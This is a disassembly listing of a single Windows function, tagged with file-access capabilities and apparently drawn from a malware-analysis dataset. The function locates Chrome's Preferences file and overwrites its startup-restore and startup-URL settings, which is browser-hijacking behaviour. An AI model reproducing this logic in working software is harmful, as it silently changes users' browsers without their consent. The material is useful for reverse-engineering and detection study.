Function at 0x40ca80
Capabilities:
Check if file exists
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52d318
mov eax, dword fs:[0]
push eax
mov eax, 0x14b8
call fcn.00510b10
mov eax, dword [0x588fc8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ecx]
mov eax, dword [eax - 0xc]
mov dword [ebp - 0x14bc], ecx
test eax, eax
jle 0x40d1a2
push 0
push 0x1c
lea ecx, [ebp - 0x120]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call fcn.00420ad8
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40caf2
push 0x80004005
call fcn.00401410
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x14b4], eax
mov dword [ebp - 4], 0
call fcn.00420ad8
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40cb25
push 0x80004005
call fcn.00401410
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x14ac], esi
mov byte [ebp - 4], 1
call fcn.00420ad8
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40cb55
push 0x80004005
call fcn.00401410
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebx, [eax + 0x10]
mov dword [ebp - 0x14c4], ebx
push 0x1388
lea ecx, [ebp - 0x14a8]
push 0
push ecx
mov byte [ebp - 4], 2
call fcn.0050f220
lea eax, [ebp - 0x120]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40cb90
sub eax, edx
push eax
lea edx, [ebp - 0x120]
push edx
lea ecx, [ebp - 0x14b4]
call fcn.00402fc0
push 0x2c
push str.GoogleChromeUser_DataDefaultPreferences
lea ecx, [ebp - 0x14b4]
call fcn.00402fc0
mov edi, dword [ebp - 0x14b4]
cmp dword [edi - 4], 1
jle 0x40cbdf
mov eax, dword [edi - 0xc]
push eax
lea ecx, [ebp - 0x14b4]
call fcn.00401f00
mov edi, dword [ebp - 0x14b4]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40d143
push str.rT63
push edi
call fcn.00510a2a
mov edi, eax
push edi
push 0x1388
lea ecx, [ebp - 0x14a8]
push 1
push ecx
call fcn.005116dc
add esp, 0x18
test eax, eax
jle 0x40cc5d
push eax
lea edx, [ebp - 0x14a8]
push edx
lea ecx, [ebp - 0x14ac]
call fcn.00402fc0
push 0x1388
lea eax, [ebp - 0x14a8]
push 0
push eax
call fcn.0050f220
push edi
push 0x1388
lea ecx, [ebp - 0x14a8]
push 1
push ecx
call fcn.005116dc
add esp, 0x1c
test eax, eax
jg 0x40cc16
mov esi, dword [ebp - 0x14ac]
push edi
call fcn.00510729
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov eax, dword [esi - 0xc]
add esp, 4
test eax, eax
js 0x40cd65
push str._restore_on_startup_:
push esi
call fcn.0050f44b
add esp, 8
test eax, eax
je 0x40cd65
sub eax, esi
mov edi, eax
cmp edi, 0xffffffff
je 0x40cd65
push edi
lea edx, [ebp - 0x1c]
push 0x53d20c
push edx
call fcn.00510a41
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov eax, dword [esi - 0xc]
test edi, edi
js 0x40cce4
cmp edi, eax
jg 0x40cce4
lea eax, [edi + esi]
push 0x53e1ec
push eax
call fcn.0050f44b
add esp, 8
test eax, eax
je 0x40cce4
sub eax, esi
mov esi, eax
jmp 0x40cce7
or esi, 0xffffffff
push esi
lea ecx, [ebp - 0x1c]
push 0x53d20c
push ecx
call fcn.00510a41
add esp, 0xc
sub esi, edi
push esi
xor eax, eax
push edi
lea edx, [ebp - 0x14b8]
push edx
lea ecx, [ebp - 0x14ac]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
call fcn.00402ec0
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x14c4]
mov byte [ebp - 4], 3
call fcn.00402fc0
mov eax, dword [ebp - 0x14b8]
add eax, 0xfffffff0
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cd57
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x14c4]
push str._restore_on_startup_:_4
push ecx
jmp 0x40cd8e
cmp dword [esi - 0xc], 0
jl 0x40cd9f
push str._session_:_
push esi
call fcn.0050f44b
add esp, 8
test eax, eax
je 0x40cd9f
sub eax, esi
cmp eax, 0xffffffff
je 0x40cd9f
push str._session_:__r_r_n_restore_on_startup_:_4__r_r_n
push str._session_:_
lea ecx, [ebp - 0x14ac]
call fcn.0040afa0
mov esi, dword [ebp - 0x14ac]
call fcn.00420ad8
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40cdb9
push 0x80004005
call fcn.00401410
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x14b0], eax
mov byte [ebp - 4], 4
call fcn.00420ad8
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40cde9
push 0x80004005
call fcn.00401410
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x14b8], eax
mov ecx, dword [ebp - 0x14bc]
mov eax, dword [ecx]
mov byte [ebp - 4], 5
test eax, eax
jne 0x40ce10
or ebx, 0xffffffff
jmp 0x40ce32
cmp dword [esi - 0xc], 0
jge 0x40ce1b
or ebx, 0xffffffff
jmp 0x40ce32
push eax
push esi
call fcn.0050f44b
add esp, 8
test eax, eax
jne 0x40ce2e
or ebx, 0xffffffff
jmp 0x40ce32
sub eax, esi
mov ebx, eax
cmp dword [esi - 0xc], 0
jge 0x40ce3d
or edi, 0xffffffff
jmp 0x40ce58
push str._urls_to_restore_on_startup_:
push esi
call fcn.0050f44b
add esp, 8
test eax, eax
jne 0x40ce54
or edi, 0xffffffff
jmp 0x40ce58
sub eax, esi
mov edi, eax
cmp ebx, 0xffffffff
jne 0x40d047
cmp edi, ebx
je 0x40cf28
push edi
push 0x53e174
lea ecx, [ebp - 0x14ac]
call fcn.004029a0
sub eax, edi
push eax
push edi
lea edx, [ebp - 0x14c0]
push edx
lea ecx, [ebp - 0x14ac]
call fcn.00402ec0
push eax
lea ecx, [ebp - 0x14b8]
mov byte [ebp - 4], 6
call fcn.00403360
lea eax, [ebp - 0x14b8]
push eax
lea ecx, [ebp - 0x14b0]
call fcn.00403360
mov eax, dword [ebp - 0x14c0]
add eax, 0xfffffff0
mov byte [ebp - 4], 5
lea ecx, [eax + 0xc]
or edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ced7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x53e1ec
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
push 0x53e170
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
mov esi, dword [ebp - 0x14bc]
mov eax, dword [esi]
cmp dword [eax - 4], 1
jle 0x40cf10
mov ecx, dword [eax - 0xc]
push ecx
mov ecx, esi
call fcn.00401f00
mov eax, dword [esi]
push eax
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
push 0x53e170
jmp 0x40d01d
cmp dword [esi - 0xc], 0
jge 0x40cf33
or eax, 0xffffffff
jmp 0x40cf4c
push str._restore_on_startup_:_4_
push esi
call fcn.0050f44b
add esp, 8
test eax, eax
jne 0x40cf4a
or eax, 0xffffffff
jmp 0x40cf4c
sub eax, esi
lea esi, [eax + 0x18]
push esi
push 0x53e150
lea ecx, [ebp - 0x14ac]
call fcn.004029a0
sub eax, 4
sub eax, esi
push eax
push esi
lea ecx, [ebp - 0x14c0]
push ecx
lea ecx, [ebp - 0x14ac]
call fcn.00402ec0
push eax
lea ecx, [ebp - 0x14b0]
mov byte [ebp - 4], 7
call fcn.00403360
lea edx, [ebp - 0x14b0]
push edx
lea ecx, [ebp - 0x14b8]
call fcn.00403360
mov eax, dword [ebp - 0x14c0]
add eax, 0xfffffff0
mov byte [ebp - 4], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cfc1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str.__r_r_n
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
push str.______urls_to_restore_on_startup_:__
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
push 0x53e170
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
mov esi, dword [ebp - 0x14bc]
mov eax, dword [esi]
cmp dword [eax - 4], 1
jle 0x40d00a
mov ecx, dword [eax - 0xc]
push ecx
mov ecx, esi
call fcn.00401f00
mov eax, dword [esi]
push eax
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
push 0x53e11c
lea ecx, [ebp - 0x14b0]
call fcn.004036a0
mov edx, dword [ebp - 0x14b0]
mov eax, dword [ebp - 0x14b8]
push edx
push eax
lea ecx, [ebp - 0x14ac]
call fcn.0040afa0
mov esi, dword [ebp - 0x14ac]
mov eax, dword [ebp - 0x14b4]
cmp dword [eax - 4], 1
jle 0x40d068
mov ecx, dword [eax - 0xc]
push ecx
lea ecx, [ebp - 0x14b4]
call fcn.00401f00
mov eax, dword [ebp - 0x14b4]
push 0x53e118
push eax
call fcn.00510a2a
mov ebx, dword [esi - 0xc]
add esp, 8
cmp dword [esi - 4], 1
mov edi, eax
jle 0x40d093
push ebx
lea ecx, [ebp - 0x14ac]
call fcn.00401f00
mov esi, dword [ebp - 0x14ac]
push edi
push ebx
push 1
push esi
call fcn.005108f4
push edi
call fcn.00510729
mov eax, dword [ebp - 0x14b8]
add eax, 0xfffffff0
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d0cc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x14b0]
add eax, 0xfffffff0
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d0f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x14c4]
add eax, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d118
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d138
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov eax, dword [ebp - 0x14b4]
add eax, 0xfffffff0
jmp 0x40d186
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d163
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d183
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
lea eax, [edi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov dword [ebp - 4], edx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d1a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050e65d
mov esp, ebp
pop ebp
ret